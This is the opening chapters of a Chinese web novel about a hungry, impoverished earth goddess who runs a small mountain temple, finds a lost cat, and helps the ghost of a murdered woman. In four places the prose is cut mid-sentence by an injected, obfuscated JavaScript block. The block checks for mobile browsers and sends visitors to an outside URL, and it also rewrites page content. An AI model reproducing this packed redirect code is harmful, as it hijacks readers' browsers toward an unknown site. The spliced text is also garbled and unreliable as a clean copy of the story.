《我有一座土地庙》 1. 微末小神 端午才刚过不久,热浪就一遍遍席卷过整个华夏大地。 商小玉风尘仆仆,提着行李箱下火车,坐公交,终于到达目的地枫林路站。 枫林路远离东州市区,这条南北大路原本可以笔直延伸,却被一座山与一条河挡住去路,河可以架桥,山却不能移平,不得不自山脚绕过。 对周围小区的市民来说,这座山是个不可多得的消暑纳凉、锻炼身体的好地方,分明不远处就是闹市,但一来到山下,世界顿时清净凉爽起来。 山脚处建了一个小公园,离小区不远不近,方便又不扰民。山脚有一条河,是从山上流下来的,河水一年四季冰凉,水质清澈干净,很适合夏季消暑。 商小玉不往河对岸的小区里走,而是气沉丹田,拎起大行李箱拐向上山的台阶。 早起晨练的大爷大妈看到她,纷纷打招呼:“老商家的闺女放暑假啦?你今年上高几来着?” 商小玉笑眯眯地回打招呼:“张姨,李婶,九伯,我今年大学毕业了。” “哎哟,瞧我这记性。找着工作没有哇?工资多少?找对象了吗?多早晚结婚?” 商小玉的笑容渐渐消失,低头擦汗,装作没听见。 赵大爷接过了大行李箱,“瞧你累的一脑袋汗,给我拎吧,反正本来也要爬山。” 商小玉试图夺回箱子,赵大爷佯装生气,“你见外个啥,我和你姥爷是老邻居了,你还是我看着长大的呢。” 赵大爷身体硬朗,商小玉抢不过,只好由他帮忙。 顺着上山的小路,路过小公园,再往上爬约五分钟,山腰处有块小平地,前后各几间矮矮的青砖瓦房,房顶长了一簇簇野草,中间院子斜伸出一棵半焦枯的大桃树,这就是商小玉从小长到大的家了。 两扇木门禁闭带锁,门上贴了半旧的门神像,仔细看,人物旁写的小字一是神荼,一是郁垒,门头的桃符柳枝和牌匾也已布满灰尘蛛网。 商小玉扬手擦去神荼图上的浮尘,摘掉枯萎的旧柳枝。 商小玉略感惆怅,自从姥爷去世,她就没吃过一顿饱饭。 赵大爷看起来比她还惆怅:“唉,你姥爷走了,都找不着吵架的人了,真没意思。希望他在下边等我几年,吵一架再投胎……” 商小玉无语,这嘴是有多碎啊,喜欢跟人吵架。 “您身体硬朗着呢,能长命百岁,可别说那不吉利的话。” 她掏出钥匙,打开黄铜大锁,推门。 入目是两座神像,面前神案摆着两个香炉,神像一男一女,左侧男神手持苇索、腰悬宝剑,□□骑着猛虎,面容端肃威严,跟门口画的神荼一模一样,右侧是位曼妙的神女像,个头矮了不少,手执桃枝。 两尊神像虽然彩绘剥落,但雕工优美,哪怕在这破旧小屋里,满头满脸灰尘蛛网,也透出几分神性来。 她堆起笑容:“赵大爷,要不要来上柱香?” 赵大爷和善的脸瞬间垮了,站在门外,指着门头“土地神庙”牌匾的手颤颤巍巍,不管看多少次,他都觉得荒谬。 “可别了,我就没见过这样的土地像,这俩谁像土地爷了?这搁古时候就叫淫祀,我可不拜这个,折寿。我劝你赶紧把这庙撤了,找个正经工作,别学你姥爷瞎胡闹。” 老头气咻咻的,嘴里埋怨着“荒唐”一类的话,飞速走了。 商小玉骗香火失败,也不气馁。赵大爷就是个倔强老头,从来不进门,她也就顺嘴一提。 揉揉空荡荡的胃部,她翻找出三支香,手指一捻,香便燃起来。 她恭恭敬敬,对右侧神像视而不见,向左侧神像拜了三拜,插入香炉。 “师父,我回来了,以后都不走了。” 从今往后,为了他们师徒俩吃饱香火而努力! 香火轻缓燃烧,轻烟渺渺朝神像而去,透过薄烟,气象轩昂而端肃的神像似乎半睁开了垂着的眼睑,朝她偷来淡漠一瞥。 再仔细看,神像仍是垂着眼睑,没有任何变化。 商小玉提起行李箱,打开通往后院的门。 才半年,院里已经荒草丛生,几乎把人淹没,屋里也处处灰尘,变成了蜘蛛、老鼠和壁虎们的家。 她打开生锈的门锁,走进自己房间,把行李放下,手指拂去穿衣镜上的浮灰。 镜子里的人个头瘦小,一身旧T恤长裤,脖子里挂着一条旧银链子,坠子是枚小小的桃符,用云篆写着“神荼”两个字。 头发短短的,碎发别在耳后。一张不大的心形脸,肤色略深,由于刚才的运动,额角和鼻尖沁出细密的汗珠,以及进门时蹭上的灰。深褐近黑的眼睛很有存在感,明亮水润,看起来有股执拗劲。 商小玉擦掉脸上的灰和汗珠,找出以前干活的旧衣服换上,拿出扫帚和抹布开始干活。 一干就是几个小时,扫除了蛛网灰尘,院里的杂草拔干净,清洗了旧窗帘和床单等,商小玉抬起头,太阳已经偏西了,肚子饿得咕咕叫。 家里没有任何食材,她只好出门觅食。 下了山路往北走,过了桥,几个小区之间是一条颇为繁华的商业街,正好到了下班时间,正是热闹的时候。 找了一家便宜好吃的面馆,商小玉照例点了两碗最便宜的牛肉面,只收20。 这几个月忙毕业论文,没时间打工,她的钱包已经空了,吃完面浑身只剩三百块。 牛肉面满满两大海碗,上头薄铺一层牛肉片,还额外送了颗油润的煎蛋。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253671|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >老板笑眯眯的:“商丫头好久没来了,煎蛋是请你吃的。” 商小玉道过谢,闷头开吃。面一如既往筋道爽滑,汤底是熬了几个小时的牛骨高汤,咸鲜醇香,牛肉片虽然薄,存在感却不容忽视。 她吃得头也不抬,也就十分钟的功夫,两大碗面干干净净,连汤汁也不剩了。 隔壁桌的食客楞楞的,怎么也想不到看起来瘦瘦的一个女孩子居然那么能吃。 这两碗面对商小玉来说,也就只稍解一下饥饿感,其实吃不饱的,再吃下去也是浪费钱。 她又叫了多加一份牛肉和煎蛋的面打包,扫码付款,手机里275块的余额让她差点哭出来。 以后可不能像今天这么奢侈了,明天买些米面蔬菜,这些钱兴许能撑……好像撑不了几天啊,前院的香烛放太久泛潮了,给师父的贡品绝对不能省,油盐酱醋早在上次回来就用光了,还要买些日用品。 这么一算,根本就不够。 要不最近不吃饭了? 其实香火才是她的主要食谱,普通饭菜最多只是零食,提供不了营养,不吃也饿不死。 但是自家庙宇香火历来冷清,姥爷在的时候还能忽悠几个上香的,自从他去世,商小玉去外地上大学,已经饿了四年了。 谁能想到,商小玉堂堂桃枝山及周围方圆两公里土地神,竟然险些饿死他乡! 商爷只是个普通人,商小玉却天生是神。 二十三年前,商姥爷的女儿商清音曾经失踪过一个月,回来后就怀上了商小玉,却不记得那一个月的记忆。 神胎与众不同的气机引来了神荼,他看过后,道出商清音怀了神胎。人怀了神胎,自然不允许打掉,只能生下来。 人间已经是末法时代,养不了神,原本以为这神胎出生没多久就会死去,谁知道商小玉一出生就得到了桃枝山的承认,成为土地神。 虽然只是方圆几公里的微末小神,但也能靠着香火活下来了,神荼于是允许她在桃枝山受香火。 那位生父大概率也是司土之神,商小玉才能有这种天赋,他们都认为应该也是一方土地或者城隍。 神荼说,这是冥冥中的天数,说明商小玉的身份是被天承认的,不是赵大爷说的淫祀。 神的身份看起来很厉害,其实现在人间没什么灵气,全靠商姥爷忽悠几个信徒收些香火勉强饿不死。 可怜商小玉在全国人民基本都能吃饱饭的年代,经常饿的前胸贴后背,非常凄惨。 商小玉回来的目的就是把土地庙做大做强,摆脱贫困。 但是眼下,做大做强还很遥远,吃不到香火,能吃些零食填肚子也好,而且给师父买贡品也要花钱。 去哪里赚点钱好呢? 2. 找猫 商小玉一边走,一边观察街道两边店铺有没有招兼职的广告。 还真叫她找到了一张合适的——寻猫启事,报酬500。 500块刚好能解她最近的穷困,而且找猫对她来说不难。 商小玉掏出手机拍了张照片,怕面坨掉,加快脚步赶回家,从厨房找出一个没有缺口的大碗,把面倒进去,摆好一双筷子,供到神荼像前,拜了三拜。 “师父,今天先吃面凑合一下吧,明天我给你做好吃的。” 几秒钟的寂静过去,神像中才传出一道低沉的声音:“我无需进食。” 神荼曾经解释过,神荼郁垒开天辟地以来就存在了,乃是镇守鬼界通往人间的上古神明,古时后人间有鬼怪作乱,黄帝把两神画成像贴在门上镇宅,这才成了门神。他像山川河泽一样,是原本就有的存在,不需要香火,不受祭拜。 像商家爷孙俩这样雕像把他供起来的,也是开天辟地以来没有的事。 商小玉不听,她从小饿惯了肚子,觉得这是件最难受的事情,不愿意神荼也没有香火贡品。 要是自己拜自己能有香火,她一定天天给自己磕头,可惜不行。 神荼不再说话,微微吸气,把贡品的精华吸走了。 人间的食物并不能打动与天同寿的神,连一点情绪波澜都引动不了。他闭上眼睛,继续沉眠。 好了,该打工赚钱了。 商小玉闭上眼睛,将神念延伸出去。 她的视野一下子扩大了,土地庙、桃枝山,以及方圆两公里,一切都看得清清楚楚。 刚下班在回家路上的疲惫上班族,在没关好窗帘的家里吵架的夫妻,蹦蹦跳跳回家的小学生…… 这就是土地的神职,只要是辖区内,没有看不到的。 与此同时,身体里某些东西也在迅速流失,两三秒钟的功夫就头晕眼花,腿脚发软。 幸好猫没有跑远,很快商小玉就在附近桥下不远处看到了那只肥胖狸花猫。 那只猫目不转睛地盯着河面,那处水下似乎有什么不太好的东西。 脑袋一阵晕眩,再看下去就要被吸干了,商小玉立刻中断视野,拿上手机往五百块所在位置赶去。 快速赶到河边,五百块还在,但又多了一个人,正蹲在那摸猫,嘴里念念有词。 这人长得微胖,中等身材,是上班族常见的肚子大腿细的体型,头顶发量略感稀薄,锁骨处一条明显的的明暗交界线,往上肤色黢黑,往下很白。 商小玉走近了,听到他说:“听说狸花猫都是大佬,你是不是感应到这个位置有鱼啊?但是这儿水深着呢,你肯定不敢下河直接捞鱼吧?” “不如这样,我正巧带了鱼竿,等会钓上来的鱼分你三成,不一成,怎么样?你不反对就是同意了哦。” 五百块不理会他。 他却打定主意,展开折叠凳,开始组装钓竿,调饵料。 商小玉走过去,轻松捏住五百块后脖颈的肉。 耶,五百块到手了。 她掏出手机给失主打电话,对方立刻接通,声音听起来跟她差不多大,听说猫找到了,非常高兴,问清楚地址,说十分钟内就过来。 商小玉这会儿还没什么力气,便蹲下来,一边撸猫一边等。 那钓鱼佬警惕地看她,生怕她乱讲话惊扰了鱼群。 商小玉回想自己刚才灵视看到的东西,她还没来得及细看,有些摸不准具体是什么东西。 “我劝你别在这钓鱼,这个位置不太好。” “瞎说八道,我在这条河钓了十年鱼,这个位置有一片水草,水也很深,绝对有大鱼。” 钓鱼佬信心十足,打好窝,把装好饵料的鱼线放下去。 行吧,劝不动。商小玉不说话了。 过了会,一个高挑的身影快步走来,“你好,是你找到了我的猫吗?” 这人个子高挑,跟钓鱼佬差不多高,身材凹凸有致,皮肤光洁白皙,化了淡妆,穿着到小腿肚的牛仔长裙,戴着金镯和金项链,很端庄明媚。 钓鱼佬紧盯着水面的眼睛不由飘过来。 商小玉抓住五百块的腋下举起来,对方一把抱住,夹夹地大叫:“逵哥!你怎么又乱跑呀,妈妈担心死啦~” 她又亲又揉,好一会儿,才吐掉嘴里的猫毛,“谢谢你帮我找猫,我们加个微信吧,我给你转酬劳……商小玉?我是陈湄啊。” 仰头对视几秒,商小玉才用晕眩的脑袋想起来,这是她小学同桌,名叫陈湄,初中后跟父母去了外省。 陈湄笑嘻嘻的:“你跟以前差别不大哎,我一下子就认出来了。” 说者无心,由于营养不良,身高不足一米六的商小玉略感郁闷。 两人加了微信,陈湄把钱转给她,“我现在回来了,就在这附近的高中当老师,你还住山上吗?最近有空一起吃饭。” 本地朋友很少的商小玉欣然答应,正好明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253672|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是周六,两人约好一起吃晚饭。 钓鱼佬感觉被打扰,正要开口驱赶,突然鱼漂猛地往下一沉。 上鱼了。 他精神大震,立刻往提杆,但竟然提不动。 难道是条大鱼? 草木骤然哗啦作响,风吹得河面泛起波纹。 钓鱼佬奋力拔河的时候,商小玉感觉到了一丝不舒服,凑过去盯住水面。 陈湄很自来熟地在旁边喊加油。 拔河了一会,钓鱼佬感觉到不对劲了,如果是鱼,一定会来回拉扯,猛烈挣扎,但这个东西却一动不动,死沉死沉,好像是不小心鱼钩挂到了水下的垃圾。 “不会吧,这么倒霉?” 不管怎么样,总得把鱼线拿回来。 得益于斥巨资买的昂贵钓具,钓鱼佬终于将那坨东西拉到岸边,忙取下鱼钩。 那是一个黑色的大行李箱,少说一百斤,钓鱼佬拉住把手,憋得脸都红了才拉上岸。 不知道哪个没有公德心的家伙,居然把行李箱丢进河里。 可是,垃圾桶到处都是,几乎每个居民楼旁边都有,为什么费力丢进河里?里边装的又是什么? 钓鱼佬吓得脸发白,默默往后退。 陈湄也抱紧猫不敢动,两人紧张地吞咽口水,想起曾经看过的恐怖片。 风更大更急了,像是什么东西在狂啸。 商小玉神情严肃,走过去拉开拉链。 果然,箱子里赫然露出一具扭曲的人尸,庞大浮肿,污绿和惨白交织。 更恐怖的是,这个人的眼睛、鼻孔、嘴巴都被黑色的粗线密密缝了起来,肢体也被黑线捆绑着,浑身贴满符箓,关节扭曲地塞在不大的行李箱中。 钓鱼佬和陈湄相互对视,尖叫着抖落一身鸡皮疙瘩,跌跌撞撞跑到远处呕吐去了。 不知道在水下泡了多久的尸体,已经形成巨人观,比恐怖片还可怕。 商小玉很生气,有人居然趁她不在的时候,在她辖区杀人抛尸,而且还用邪法封了受害人七窍。 这种手段极其邪恶,人死后灵魂会从七窍中离开,封人七窍的手法便是把人三魂七魄封在尸体中,沉入河底,让她永世不得超生。 活着不放过她,死了都要她不能超生,可见凶手心理多么扭曲。 “先报警。” 她掏出手机拨号,简短描述了一下情况。 很快警方就赶到现场,把现场封锁起来。 3. 河中女尸 商小玉原本想在现场等着,等警方打开封住女尸的七窍后,问一下对方有什么冤屈,但警方干脆利索地把尸体拉走了。 做完笔录之后,商小玉特意对钓鱼佬和陈湄说:“我的庙就在山上,你俩被不祥之物冲过,可以来我庙里拜拜,去一去晦气。” 她不是存了私心才这么说的,至少有一半真心。 女尸死得惨,死后又被封住七窍,怨气极深,周围天气都被影响了,两个人近距离被这怨气一冲,加上恐惧令心神失守,已经邪气入体。 并且钓鱼佬近距离接触过行李箱,身体沾染了更多邪气,现在看起来脸色惨白带绿,眼下青黑,活像病痨鬼,比陈湄更严重。 如果不去一去邪气,轻则生场大病,重则被邪祟注意到也有可能。 为什么办案的警察没有影响呢?因为公职人员的身份是种冥冥中的保护,并且他们看惯了尸体,心智坚定,所以邪气对他们没有半点影响。 她虽然是个很弱的小小土地神,去个阴气还是很简单的。 陈湄是个听劝的人,欣然答应:“好呀,我也正害怕呢,不如就今天吧,我怕晚上做噩梦。” 不管拜神有没有用,至少能求个心理安慰。 钓鱼佬不以为然,以为是商小玉想骗钱,打个哈哈:“改天吧,今天太晚了,我老婆等我回家吃饭呢。” 拎着钓具飞快跑掉。 商小玉还想提醒他就算不去庙里,至少多晒晒太阳,话没出口,对方已经跑远了。 钓鱼佬的看起来不是短命相,希望运气没那么差。她明日起也会每天巡街,让这周围的孤魂野鬼老实点,别冲到人的。 商小玉高高兴兴,带着陈湄一起回了家。 推开大门,陈湄一愣。 虽然是小学同学,但陈湄没来过商家,只是听说她家的庙古怪,没想到是这个古怪法。 门口挂着土地庙的牌匾,里边没供常见的那种白胡子老爷爷和慈祥的老奶奶,而是这样两个看起来一点都“不土”的神。 她张着嘴,愣了几秒。 “酷哎。” 竟然迅速接受了这个设定。 “谁说土地庙必须得供老爷爷老奶奶了,要多给年轻人机会嘛,咱们家供得就很好,俊男美女,多般配啊。” 商小玉悚然一惊,“你别乱讲,什么般配不般配的。” “左边是神荼,就是经常被当做门神的那一位,右边才是本地的土地神,她虽然年轻,但很尽职尽责的。”她挺挺胸,除了在外地上学这几年,她以前都早晚巡视,保佑居民出入平安,不让邪祟侵扰,是非常负责任的神。” “原来如此,可是门神不是有两个吗,神荼郁垒,郁垒呢?” “在外地出差……”她解释道:“神荼是土地娘娘的师父,所以一起供奉。” “……哦。”陈湄合理怀疑是地方太小,供不下第三个了。 陈湄请商小玉帮忙抱着猫,点燃香,向土地娘娘的神像拜了三拜,口中无声默念。 缥缈的祷告声在商小玉耳边响起。 “土地娘娘,希望你保佑警方能尽快找到凶手,让受害者安息…等等,保佑警方?有点不唯物……管他呢,今天就这么叛逆……对了,还要保佑我和我爸妈身体健康心想事成……保佑我涨工资,最好能一夜暴富…还有哦,保佑我早日找到男朋友,要帅,丑的不要,渣男不要……” 不是,姐妹你搁这许愿呢? 商小玉心想,她要是那么多功能,至于吃不上饭吗?先保佑自己暴富一下多好。 祈祷完,陈湄把檀香插入香炉,香火化作还算菁纯的神力缓缓飘入商小玉鼻尖。 宛如久旱的禾苗终于得以灌溉,香火送入干涸的神躯,商小玉差点哭出来。 好舒服。 “咦,这香是不是燃得有点快?” 商小玉控制自己慢点吸,别吓到人。 感受着体内几丝神力,商小玉分出一丝,食指指向陈湄。 陈湄感觉一股温暖流遍全身,舒服得好像刚洗了个热水澡,原本骨头缝都阴冷僵硬的感觉一扫而空。 难道是心理作用? 陈湄挠挠脸,给神荼上香,把刚才的话又在心里重复一遍,双重保险。 她抱回猫,怂怂地说:“那个,我能不能在你家凑合一晚呀,不太敢回去了。” 不敢走夜路,回家也是一个人,想想就害怕。 商小玉理解,“可以,跟我睡一屋行吗?别的房间还没收拾好。” “谢谢!” 她们把猫放在中间院子里凑合一晚,陈湄随身带着猫罐头,足够五百块夜里饿不着的,这大概是铲屎官的自我修养。 隔天一早,陈湄离开商家去上班,商小玉去超市,来了一场大采购,豪掷五百块,把家里缺的都补上。 祭门神并没有什么习俗,门神自古以来便从来不求什么,只要把他们贴在门上就能保佑家宅平安了。 商小玉于是按照自己的喜好做了四道菜,各分出一半供奉给师父。 她关注了一下本地新闻,看到警方通报了昨晚的凶案。 受害人年龄大约四十岁,女,身份未知,死因是被人用钝物猛击后脑,死后被塞入行李箱沉尸河底。新闻最后是一张警方画像,寻找受害人的身份线索。 画像上是个陌生女人,辖区内本地居民她都认识,没有这个人,如果不是近几年新搬来的外地人,就是别处杀人来这里抛尸了。 不过现在科技水平发达,以警方的能力,大概很快就会破案的。 商小玉又忙碌一天,把房顶上的碎树枝捡下来,瓦片碎了很多,下面有两间屋子房梁和墙壁都被雨淋了,腐朽发霉。 她临时找防水布盖上了漏雨的位置,打算有钱了请人来修。 树枝也不能丢。放在角落里晾晒。桃树又叫鬼怖木,有镇鬼驱邪之效,院里这株桃树别看枝叶枯萎,树叶稀稀拉拉的,连个果子也不结,其实年岁极长,驱鬼效果最好了。 比较粗的树枝晒干后可以做成驱邪桃符,细枝拿来熏肉烧火都可以。 院里的地也要开垦出来,家里还有蔬菜种子,自己种菜吃可以省很多钱呢。 埋头忙了一天,商小玉看到太阳从西方落下的时候,放下水瓢,擦掉额头的汗。 该巡街了。 巡街是商小玉给自己发布的任务,身为本地土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253673|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地神的责任。 本来她用灵视瞬间就能巡遍整个辖区,但那样太消耗力量了,她穷,耗不起,只能用最原始的方式。 商小玉拿着一把大黑伞和一兜水果出门,顺着台阶走到山顶,又从另一条路走下山,经过一株路旁的歪脖子的柳树,把两个苹果放在树下。 “孙阿姨,请你吃苹果,不要嫌少哦。” 歪脖子柳树的枝叶垂丧着,随风摇摆,路过的两个登山客莫名其妙地看她几眼。 柳树下什么都没有,她在跟谁说话? 在商小玉的视野中,歪脖子柳树上吊着一个半透明的鬼魂,随着柳枝飘飘荡荡,面目已然模糊,连性别都看不出来,要不了多久便会随风飘散。 “谢……谢……” 那鬼迟滞地向商小玉致谢,把苹果的菁华吸收走,因上吊而扭曲的面容舒缓些许。 商小玉继续按着路线巡视,给山上的邻居们——几个没有亲人祭拜、快要消散的孤魂野鬼分别送去祭品,嘱咐他们不要惊吓路人。 下山后,人气一下多了起来。路上都是下班的人,接孩子回家的人,还有出门乘凉跳舞的人。 商小玉跟熟悉的邻居们打招呼,慢慢走着。 在走过医院后面的街道时,她感觉到不对劲。 整条街的路灯全都没有亮,漆黑幽深,阴气浓郁得把别处透来的光都挡在外面,街上行人裹紧衣服,急匆匆走着。 昨天的钓鱼事件吓到了杨岭,他今天没敢去钓鱼,下班后急匆匆往家赶。 兴许受了凉,他一整天身体都不舒服,往常总是嫌空调不够冷,今天一直打寒战,头昏沉沉的,难以集中精神工作。 感冒而已吧,回家吃颗药,睡一觉就好了,他想。 “呜呜呜,老公,我好痛,走不动了,你背着我好不好?” “好啊。”背着老婆是应该的。 感冒症状更严重了,头痛,肩膀痛,腰也痛,身体沉甸甸的。 “呜呜呜,老公,你好暖和,分给我一点好不好?” 分什么?杨岭想了一会儿,想不明白,呆呆地说:“好啊。” 身体更冷了,有什么重要的东西从身体里被抽走了,但是杨岭难以思考,也不知道那对他来说意味着什么。 他埋着头走啊走,忽然一通电话打来,是老婆。 “又死去哪里鬼混了?不是说好了一下班就赶回家陪孩子写作业吗?九点钟了!” 老婆暴躁的质问声让他神经发紧,混沌的头脑清醒了点,“什么九点?我刚下班,快到家了。” “你到哪儿了?” 杨岭抬头,茫然四顾,对啊,他到哪儿了? “呜呜呜……老公,不要生气,我错了,别杀我……” “女人的声音?你跟谁在一块呢?跟我说清楚!”电话那头的老婆更暴躁了。 “跟谁在一块……跟老婆在一块呢。”杨岭脚步不停,往四周看去,街上空无一人,哪有什么女人。 得赶紧回家才行,他想着,加快了脚步。 对方冷笑:“好啊,你跟老婆在一块,那我是谁?你下堂妻?明天民政局见吧。” 电话挂断。 4. 河中女尸 杨岭脑袋痛得难以思考,他只知道要早点回家,于是继续往前走。 走着走着,突然,面前一个人挡住了去路。 他往右挪,那人往右,他往左,那人也往左。 “路那么宽,你干嘛拦我?”杨岭非常生气。 “你真倒霉。”商小玉抱着双臂拦在他面前,有点想笑。 有的警局预算有限,自家没有验尸房,会在医院验尸,昨天的女尸应该就在这家医院。七窍封印解开后,女鬼自由了,但也因为凄惨遭遇化成没有理智和记忆、只知道复仇的厉鬼。 钓鱼佬昨天离尸体近,被记住了气息,今天又刚巧路过这里,就被刚放出来的女鬼缠上了。 商小玉在这看了十分钟,眼睁睁看着钓鱼佬背着女鬼围着一棵树绕圈圈,不知道绕多久了。 这是鬼打墙,阳气或者八字弱的人遇到心怀恶意的鬼,就可能被捉弄。钓鱼佬这种连神智都被迷住,还趴在身上吸他阳气的,要不是碰到她,一夜过去命都没了。 “别转头哦。” 杨岭非常愤怒,这个人,拦着路不让他回家,还说什么莫名其妙的话。 转头怎么了,他就转。 杨岭愤怒地一转脑袋,看到趴在自己肩膀上的一颗熟悉的、浮肿发绿的腐烂脑袋。 她骨折扭曲的四肢紧紧扒住他的脖子和腰,血水滴滴答答流了杨岭一身。 “老公,是我哪里不好吗?为什么杀我?”她努力把脸伸长了问。 “啊!!!鬼啊!!” 杨岭尖叫,身体一软,晕过去了。 商小玉无奈,“都说了别转头,你怎么又不听呢。” 好叛逆一人。 现在好了,又给她增加工作量。 她给女鬼和杨岭各输入了一丝神力。 珍贵的神力令女鬼恢复神智,满身怨气散去大半,浮肿发绿的巨人观女尸外貌也变回了未被杀害前的模样。 不看她半透明的身体和过于惨白的肤色,是个很漂亮的中年女人,一双桃花眼,温婉好脾气的模样。 她先是被自己吓得大叫,飘了一圈,声音阴飕飕的,“呜,好恐怖,原来我真的死了?” 被杀害的记忆苏醒,女鬼眼睛里流下两行血泪,眼珠变红,周身黑色的怨气四溢。 “为什么,为什么?我做错了什么?他要这么对我?” 眼看着女鬼情绪控制不住,又要厉鬼化,商小玉连忙说:“凡事先别找自己的错,想想是不是别人太自私小气敏感了?” 女鬼愣了愣,“是有点。” 她平静了下情绪,“谢谢,要不是你,我就杀死无辜的人了。” 杨岭的的脸色从惨白恢复到红润的样子,只是还没醒。 “奇怪,按理应该醒了才对。” 女鬼惊恐:“该不会死了吧?要不叫个救护车?” 商小玉斜睨钓鱼佬一眼:“你去给他做个人工呼吸,他就醒了。” “哦哦。”女鬼也不想想自己早没呼吸了,呆呆地凑过去。 杨岭忙跳起来,“别别别,我醒了。” 他躲到树后,不敢看女鬼,对商小玉说:“抱歉,小姑娘,不,大师,我昨天不该不相信你的,谢谢啊。” 商小玉摆摆手,“没事就赶紧回家吧。” 钓鱼佬面色红润,比他之前没遇到鬼的时候还健康一点,已经没事了。 “哎,好。” 女鬼还想往他面前凑,杨岭像猴子似的蹿出几百米,忽然转头大声问,“大师,你是哪个庙的啊?” “桃枝山土地庙。” 香火来喽,商小玉勾唇,不枉她救人一场。 “好的,我有空一定去拜拜。”他迅速跑远。 “至于你,”商小玉转头看向正欲默默逃走的女鬼,“你叫什么名字?” “姚艾艾。” 商小玉严肃地说:“姚艾艾,你被人害死,也想回去报仇对吧?” 姚艾艾眼里燃起愤怒的火焰,“我要让他血债血偿!” 她不惜跟父母决裂也要和他在一起,为他洗衣做饭,她付出那么多,那个男人竟然杀了她! “可以理解。但是染上活人的血会让你重新凶性大发,失去理智,你不会停止杀人,你会杀死你遇到的每一个人,不管是你的朋友、邻居、神智亲生父母,直到被人打到魂飞魄散为止。这是你愿意付出的代价的吗?” 姚艾艾吓到了:“不,我只想让那个渣男得到报应,不想杀无辜的人。你可以帮我吗?” “我不行,但我相信警方可以。”商小玉伸出手,“跟我走吧。” 姚艾艾不甘心,周身怨气呼啸翻腾,许久,任由商小玉牵住手。 奇怪的是,姚艾艾看着面相显老,据她说其实才二十五岁,并不是警方说的四十岁。 故事比较老套,娇生惯养的富家女没经历过世事险恶,被渣男骗了,不惜和父母决裂也要嫁给爱情,还千里迢迢跟他从南方跑到了东州市。 结果渣男好高骛远,做生意败光了她所有积蓄,又试图去赌,欠了一屁股债。追债的屡次上门后,姚艾艾就受不了了。 她一个富家女,给他洗衣做饭,本来年轻漂亮,结婚两年看起来老了十几岁,脾气上来了跟渣男吵架,两人吵到最后动了手,渣男一气之下操起锤子就把人砸死了。 商小玉疑惑问:“你图他什么?” 姚艾艾说:“他不好看,不像帅哥似的花心,人老实,不会说甜言蜜语,家里穷,还不因为我家有钱就巴结我。” 商小玉瞪大眼:“啥也没有?” 有被离谱到。 姚艾艾被她的眼神伤害到了,想想自己确实怪丢人的,为了一个又丑又渣的男人连命都丢了,不由悲从中来,伤心地哭起来。 “要不你还是别帮我了,让我原地消失吧。我闺蜜要是知道了这事儿,肯定年年上坟笑话我,呜……” 商小玉:“……倒也不至于。” 她拨打了警方留下的热线电话提供线索,提供了姚艾艾的身份信息。 根据姚艾艾的描述,渣男就是在家里杀她的,只要警方去现场调查一下,以现在发达的科技,很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253674|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能查出来真相。 最多不超过三天。 姚艾艾站在离土地庙门口,两条腿战战兢兢,吓得魂体更透明了。 门上贴的门神四个眼珠子死死盯着她,好像要活过来,操着手里的剑把她打散似的。 商小玉打开门后,就更吓人了。 在姚艾艾眼里,那不是两尊木塑旧神像,而是两尊金光闪闪的神,右边的还好,神性内敛,左边的神荼周身金光浓郁得刺瞎鬼眼。 姚艾艾噗通跪倒,缩成一团。 妈呀,她好像看到了末日。 “师父,是我请来的客人,你别吓她哦。”商小玉连忙把门掩上一半,“对不住,太久没你这种客人来访,我都忘了怎么招待了,稍等。” 商小玉快步跑到小仓库拿了个小瓷坛,叫姚艾艾暂时先住在瓷坛里,在偏房供起来,供上香烛。 她也饿了,又到厨房煮了三碗清汤面,每碗上卧了一颗荷包蛋,加入切碎的小葱花,再滴入几滴香油。 一碗给师父,一碗给姚艾艾,她自己吃一碗。 姚艾艾哭着吸走清汤面的菁华,窝在小瓷坛里继续嘤嘤哭泣。 商小玉劝了几次没用,想着对方年纪轻轻人就没了,确实挺值得哭的,也就不劝了,把瓷坛放在神殿旁的小房间里,让她自己冷静一下。 第二天一大早,商小玉就听到有哐哐砸门声传进后院。 